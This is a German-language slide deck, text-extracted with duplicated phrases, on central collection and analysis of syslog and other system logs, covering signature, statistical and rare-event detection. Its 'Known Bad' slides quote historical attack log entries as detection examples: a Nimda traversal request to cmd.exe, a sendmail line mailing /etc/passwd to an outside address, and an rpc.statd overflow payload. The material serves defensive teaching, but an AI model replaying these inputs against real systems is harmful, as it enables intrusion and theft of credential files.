LogFile Auswertung (log analysis)

Copyright © 2004 Adiscon GmbH www.adiscon.com

Logfile AuswertungLogfile Auswertung

„Getting it there and getting „Getting it there and getting something out of it...“something out of it...“

Rainer GerhardsRainer GerhardsAdisconAdiscon


Worum es geht...Worum es geht...

SammlungSammlung und und AuswertungAuswertung von von System-ProtokolldateienSystem-Protokolldateien• NutzenNutzen

• MöglichkeitenMöglichkeiten

• SchwierigkeitenSchwierigkeiten

• LösungenLösungen

DenkansätzeDenkansätze• KEINE Produktpräsentation!KEINE Produktpräsentation!

• KEINE fertigen Lösungen!KEINE fertigen Lösungen!


Was beinhalten Logs?Was beinhalten Logs?

Betriebsmanagement-InfosBetriebsmanagement-Infos Securitymanagement-InfosSecuritymanagement-Infos• Benutzeran- und -abmeldungenBenutzeran- und -abmeldungen

• Nachrichtenverkehr (Firewall, Router, ...)Nachrichtenverkehr (Firewall, Router, ...)

• erkannte Viren/Malwareerkannte Viren/Malware

• Zugriffe auf DatenobjekteZugriffe auf Datenobjekte

• Ressourcenprobleme (out of space...)Ressourcenprobleme (out of space...)

• und viel, viel mehr...und viel, viel mehr...


Nutzen von LogsNutzen von Logs

KapazitätsplanungenKapazitätsplanungen FehleranalyseFehleranalyse (Realzeit-)Alarmierung(Realzeit-)Alarmierung BeweissicherungBeweissicherung Forensische AnalyseForensische Analyse (Interne) Auditierung(Interne) Auditierung Achtung!Achtung!• DatenschutzDatenschutz• Mitbestimmungsrechte BetriebsratMitbestimmungsrechte Betriebsrat


„„getting it there...“getting it there...“

Logs liegen auf einzelnen GerätenLogs liegen auf einzelnen Geräten es muss zentralisiert werden, um es muss zentralisiert werden, um

Gesamtbild zu erhaltenGesamtbild zu erhalten Herstellerlösungen decken oft nur Herstellerlösungen decken oft nur

einen Teilbereich abeinen Teilbereich ab


LogquellenLogquellen

Geräte (Router, Firewall) mit syslogGeräte (Router, Firewall) mit syslog *NIX syslog*NIX syslog Windows Event LogsWindows Event Logs TextdateienTextdateien DatenbanktabellenDatenbanktabellen serielle Geräteserielle Geräte ......


Zugang zu Log-QuellenZugang zu Log-Quellen

je nach Systemje nach System• unterschiedlicher Zugriffunterschiedlicher Zugriff

• unterschiedliches Meldungsformat unterschiedliches Meldungsformat

• unterschiedliche Aussagekraftunterschiedliche Aussagekraft

Selbst gleiche Geräte, in Selbst gleiche Geräte, in unterschiedlichen Releases, erzeugen unterschiedlichen Releases, erzeugen unterschiedliche Log-Meldungenunterschiedliche Log-Meldungen

APIs in hohem Maße inkompatibelAPIs in hohem Maße inkompatibel


Lösung - syslogLösung - syslog

syslog ist kleinste gemeinsame Untermengesyslog ist kleinste gemeinsame Untermenge ursprünglich entstanden im Umfeld von ursprünglich entstanden im Umfeld von

sendmailsendmail de-facto Standard (späte „Standardisierung“ de-facto Standard (späte „Standardisierung“

bisher nur über einen informational RFC)bisher nur über einen informational RFC) extrem einfach zu implementieren (und extrem einfach zu implementieren (und

daher sehr große Unterstützung)daher sehr große Unterstützung) sollte eine Logquelle kein syslog sollte eine Logquelle kein syslog

unterstützen, gibt es bestimmt einen unterstützen, gibt es bestimmt einen Konverter dafür (z.B. EventReporter für Konverter dafür (z.B. EventReporter für Windows Event Log)Windows Event Log)

syslog ist in der Praxis erprobt und bewährtsyslog ist in der Praxis erprobt und bewährt


syslog: formatsyslog: format

kurze Textmeldung (< 1024 byte)kurze Textmeldung (< 1024 byte) Übermittlung via UDP (ungesichert)Übermittlung via UDP (ungesichert) Facility/Severity: Numerische Werte für Facility/Severity: Numerische Werte für

FilterungFilterung KEINE Spezifikation des Textteiles KEINE Spezifikation des Textteiles

(anders als z.B. SNMP)(anders als z.B. SNMP)

<38>Nov 12 15:11:26 su(pam_unix)[2246]: session opened for user root byrger(uid=500)


syslog: Der Meldungsinhalt...syslog: Der Meldungsinhalt...

leidiges Problemleidiges Problem keine Standardisierung in Sichtkeine Standardisierung in Sicht jeder Entwickler schickt, was er für jeder Entwickler schickt, was er für

richtig hält – und in dem Format, in richtig hält – und in dem Format, in dem er es für richtig hält...dem er es für richtig hält...

Nachbearbeitung der Meldungen Nachbearbeitung der Meldungen erforderlicherforderlich

verschiedene Analysetools verschiedene Analysetools


syslog: Bittere Pillen...syslog: Bittere Pillen...

Probleme aus der PraxisProbleme aus der Praxis• MeldungsverlusteMeldungsverluste• einfach zu fälscheneinfach zu fälschen• einfach mitzuleseneinfach mitzulesen

Fortentwicklung des ProtokollsFortentwicklung des Protokolls• IETF Arbeitsgruppe seit ca. 2000IETF Arbeitsgruppe seit ca. 2000• syslog-protocol - neues Format, Layerssyslog-protocol - neues Format, Layers• syslog-sign - Signaturensyslog-sign - Signaturen• RFC 3195 (syslog-reliable) – sichere und RFC 3195 (syslog-reliable) – sichere und

verschlüsselte Übertragungverschlüsselte Übertragung Für viele Probleme finden sich Lösungen – Für viele Probleme finden sich Lösungen –

man muss nur nachdenken...man muss nur nachdenken...


Aufbau der Log-InfrastrukturAufbau der Log-Infrastruktur

TypischTypisch• Systeme so konfigurieren, dass auch tatsächlich Systeme so konfigurieren, dass auch tatsächlich

relevanterelevante Logs erzeugt werden Logs erzeugt werden

• Lieferung der Logdaten an ein zentrales SystemLieferung der Logdaten an ein zentrales System

• evtl. (Near)-RealTime Alertingevtl. (Near)-RealTime Alerting

• Auswertung auf dem zentralen SystemAuswertung auf dem zentralen System

je nach Aufgabenstellung natürlich gänzlich je nach Aufgabenstellung natürlich gänzlich verschiedene Strukturenverschiedene Strukturen• DatenschutzDatenschutz

• Beweissicherung / AuditierungBeweissicherung / Auditierung


Beispiel: Relay-ArchitekturBeispiel: Relay-Architektur


Speicherung der LogdateienSpeicherung der Logdateien

DatenbankenDatenbanken• einfache Abfrageeinfache Abfrage• für große Logmengen ungeeignet für große Logmengen ungeeignet

(Durchsatz)(Durchsatz) TextdateienTextdateien• sehr viel besserer Durchsatzsehr viel besserer Durchsatz• von vielen Tools unterstütztvon vielen Tools unterstützt• in der interaktiven Analyse problematischin der interaktiven Analyse problematisch

Gespeicherte Logs müssen besonders Gespeicherte Logs müssen besonders gegen Manipulation geschützt werden!gegen Manipulation geschützt werden!


„„getting something out of it...“getting something out of it...“

The common item to look for when The common item to look for when reviewing log files is anything that reviewing log files is anything that appears out of the ordinary.appears out of the ordinary.

CERT Coordination Center CERT Coordination Center

Intrusion Detection ChecklistIntrusion Detection Checklist


Einige Auswertungsverfahren...Einige Auswertungsverfahren...

Basierend auf SignaturenBasierend auf Signaturen• kown badkown bad

• „„artificial ignorance“ (Marcus Ranum) artificial ignorance“ (Marcus Ranum)

Basierend auf StatistikenBasierend auf Statistiken „„Never before seen“Never before seen“


Known BadKnown Bad

vergleichbar Virensignaturdateienvergleichbar Virensignaturdateien bekannte Muster von Attackenbekannte Muster von Attacken besondere Problematik: je nach besondere Problematik: je nach

meldendem System/Version können meldendem System/Version können die Signaturen unterschiedlich seindie Signaturen unterschiedlich sein


Beispiele „Known Bad“ IBeispiele „Known Bad“ I

Nimda:Nimda:204.120.69.195 - - [18/Sep/2001:09:35:19 -204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET 0500] "GET /scripts/..%%35%63../winnt/system32 /scripts/..%%35%63../winnt/system32 /cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"

Sendmail Exploits:Sendmail Exploits:Jul 21 01:25:49 ariel sendmail[308]: Jul 21 01:25:49 ariel sendmail[308]: BAA00307: [email protected], BAA00307: [email protected], ctladdr=":/bin/mail [email protected] ctladdr=":/bin/mail [email protected] </etc/passwd", delay=00:00:34, mailer=smtp, </etc/passwd", delay=00:00:34, mailer=smtp, relay=bos1h.delphi.com. (192.80.63.8), relay=bos1h.delphi.com. (192.80.63.8), stat=Sent (Ok.)stat=Sent (Ok.)


Beispiele „Known Bad“ IIBeispiele „Known Bad“ II

Buffer Overflows:Buffer Overflows:

Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]: Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]: gethostbyname error for gethostbyname error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750 ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750 804971090909090687465676274736f6d616e797265206520726f7804971090909090687465676274736f6d616e797265206520726f7220726f66 220726f66 bffff718 bffff718 bffff719 bffff71a bffff719 bffff71a bffff71bbffff71b!!!!


Known Good /Known Good /Artificial IgnoranceArtificial Ignorance bekannte Log-Einträge werden bekannte Log-Einträge werden

ausgefiltertausgefiltert Parameter in den Einträgen erfordern Parameter in den Einträgen erfordern

oft spezielle Beachtungoft spezielle Beachtung Nur die verbleibenden Einträge werden Nur die verbleibenden Einträge werden

beachtetbeachtet ACHTUNG: „Gute“ Einträge können ACHTUNG: „Gute“ Einträge können

auch von (erfolgreichen) Attacken auch von (erfolgreichen) Attacken erzeugt worden sein.erzeugt worden sein.


StatistikenStatistiken

Betrachtet werdenBetrachtet werden• bestimmte Messzahlen (z.B. bestimmte Messzahlen (z.B.

Verkehrsvolumen)Verkehrsvolumen)

• (syslog-) Meldungsvolumen selbst(syslog-) Meldungsvolumen selbst

Vergleich von aktuellem Wert zu Vergleich von aktuellem Wert zu statistischem Mittelwertstatistischem Mittelwert

Signifikante Abweichungen können Signifikante Abweichungen können auf ein Problem hindeutenauf ein Problem hindeuten• ABER: Feiertage können signifikante ABER: Feiertage können signifikante

Abweichungen erzeugen...Abweichungen erzeugen...


Never before SeenNever before Seen

Besonders beachtenswert sindBesonders beachtenswert sind• Ereignisse, die noch NIEMALS aufgetreten Ereignisse, die noch NIEMALS aufgetreten

sind (Marcus Ranum, loganlysis list)sind (Marcus Ranum, loganlysis list)

• Ereignisse, die extrem selten auftreten Ereignisse, die extrem selten auftreten (Rainer Gerhards, „Needle in Haystack“)(Rainer Gerhards, „Needle in Haystack“)

Vorsicht: Neue Software-Versionen Vorsicht: Neue Software-Versionen oder Geräte können Ergebnis temporär oder Geräte können Ergebnis temporär verfälschen!verfälschen!


Automatische Analyse IAutomatische Analyse I

Gefahr von „false positives“ sehr hochGefahr von „false positives“ sehr hoch zu viel Automatik kann evtl. selbst zu zu viel Automatik kann evtl. selbst zu

denial of service genutzt werden:denial of service genutzt werden:• auto-Regel (basierend auf „kown bad“) auto-Regel (basierend auf „kown bad“)

schließt Firewall für IPs, von denen schließt Firewall für IPs, von denen Attacken ausgehenAttacken ausgehen

• Attackierender spooft Pakete mit fremden Attackierender spooft Pakete mit fremden IPs für einen gesamten RangeIPs für einen gesamten Range

• Ergebnis: unsere Regel sperrt die Ergebnis: unsere Regel sperrt die gespooften IPs aus... autsch ;)gespooften IPs aus... autsch ;)


Automatische Analyse IIAutomatische Analyse II

automatische Alarme sollten manuell automatische Alarme sollten manuell überprüft werdenüberprüft werden

automatische Aktionen können automatische Aktionen können verwendet werden, wenn dies verwendet werden, wenn dies zwingend erforderlich erscheint. Dann zwingend erforderlich erscheint. Dann müssen aber alle Konsequenzen müssen aber alle Konsequenzen durchdacht werden!durchdacht werden!


Unterstützung der manuellen Unterstützung der manuellen AnalyseAnalyse Komprimierung und Konsolidierung Komprimierung und Konsolidierung

notwendignotwendig dem Analysierenden muss der Zugang dem Analysierenden muss der Zugang

zu den Low-Level Informationen zu den Low-Level Informationen einfach möglich sein (oftmals kann nur einfach möglich sein (oftmals kann nur damit eine endgültige Entscheidung damit eine endgültige Entscheidung gefällt werden)gefällt werden)


ZusammenfassungZusammenfassung

Log-Dateien beinhalten sehr hilfreiche Log-Dateien beinhalten sehr hilfreiche InformationenInformationen

Strategie zum zentralen Sammeln Strategie zum zentralen Sammeln zwingend erforderlichzwingend erforderlich

In heterogenen Umgebungen ist In heterogenen Umgebungen ist syslog oft die einzige Möglichkeit, hat syslog oft die einzige Möglichkeit, hat aber Restriktionenaber Restriktionen

In der Analyse nicht nur auf In der Analyse nicht nur auf Automatiken verlassen.Automatiken verlassen.


Fragen?Fragen?

[email protected]@adiscon.com www.adiscon.comwww.adiscon.com www.monitorware.comwww.monitorware.com

Adiscon GmbHFranz-Marc-Str. 144

50374 Erftstadt0800-ADISCON (0800/2347266)

[email protected]


Weitere Interessante LinksWeitere Interessante Links

www.loganalysis.orgwww.loganalysis.org www.sans.orgwww.sans.org http://http://www.dshield.comwww.dshield.com// www.syslog.ccwww.syslog.cc//ietfietf// http://www.ietf.org/html.charters/syslohttp://www.ietf.org/html.charters/syslo

g-charter.htmlg-charter.html

http://www.monitorware.com/en/workihttp://www.monitorware.com/en/workinprogress/nature-of-syslog-data.phpnprogress/nature-of-syslog-data.php

http://www.monitorware.com/en/workihttp://www.monitorware.com/en/workinprogress/Needle-in-Haystack.phpnprogress/Needle-in-Haystack.php


DanksagungDanksagung

Der Autor möchte sich insbesondere Der Autor möchte sich insbesondere bei Dr. Tina Bird von bei Dr. Tina Bird von www.loganalysis.orgwww.loganalysis.org für die für die Überlassung einiger Beispiele aus Überlassung einiger Beispiele aus Ihrem Loganalyse-Seminar bedanken.Ihrem Loganalyse-Seminar bedanken.

Date post:	19-Jun-2015
Category:	Technology
Upload:	rainer-gerhards
View:	227 times
Download:	1 times

LogFile Auswertung (log analysis)

Technology